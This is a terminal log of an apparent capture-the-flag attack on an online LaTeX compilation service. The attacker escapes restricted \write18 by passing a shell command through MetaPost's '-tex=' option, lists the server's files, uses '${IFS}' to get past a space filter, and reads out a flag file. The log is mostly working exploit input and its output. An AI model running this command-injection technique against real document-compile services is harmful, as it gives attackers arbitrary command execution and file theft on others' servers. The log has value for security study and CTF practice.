> create mp hime
File created. Type the content now and finish it by sending a line containing only '\q'.
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
Written to hime.mp.
> create tex hime
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{minimal}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c ls>himeout.tex" "hime.mp"}
\end{document}
\q
Written to hime.tex.
> compile hime
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/859345701404879762/hime.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/minimal.cls
Document Class: minimal 2001/05/25 Standard LaTeX minimal class
)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./hime.mp
>> hime.mp
>> hime.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on hime.log.

No file hime.aux.
(./hime.aux) )
No pages of output.
Transcript written on hime.log.

> show tex himeout
33C37026621341F25CF4
hime.aux
hime.log
hime.mp
hime.tex
himeout.tex
makempx.log
mp6h25YQ.tex

> create tex hime2
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{minimal}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c cat${IFS}33C37026621341F25CF4>himeout.tex" "hime.mp"}
\end{document}
\q
Written to hime2.tex.
> compile hime2
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
 restricted \write18 enabled.
entering extended mode
(/tmp/859345701404879762/hime2.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/minimal.cls
Document Class: minimal 2001/05/25 Standard LaTeX minimal class
)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./hime.mp
>> hime.mp
>> hime.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
                                 blah etex, origin);
Transcript written on hime.log.

No file hime2.aux.
(./hime2.aux) )
No pages of output.
Transcript written on hime2.log.

> show tex himeout
33C3_pdflatex_1s_t0t4lly_s3cur3!